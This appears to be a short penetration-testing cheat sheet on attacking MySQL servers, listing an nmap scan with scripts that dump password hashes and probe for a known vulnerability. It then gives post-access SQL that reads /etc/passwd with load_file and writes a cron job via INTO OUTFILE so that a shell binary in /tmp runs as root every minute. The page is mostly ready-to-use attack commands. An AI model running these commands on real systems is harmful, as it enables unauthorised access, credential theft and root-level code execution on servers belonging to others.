Enumeration
Mandatory
- Try to connect to the DB.
- Enumerate with nmap:
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $target
Optional
- If you have access to the DB:
- Try to read local files:
SELECT load_file('/etc/passwd'); - Try to write files:
CREATE TABLE bbb(content TEXT);
INSERT INTO bbb (content) VALUES ("* * * * * root /tmp/shell_80.elf");
SELECT * FROM bbb INTO OUTFILE '/etc/cron.d/ex1';
- Try to read local files:
Leave a Reply
You must be logged in to post a comment.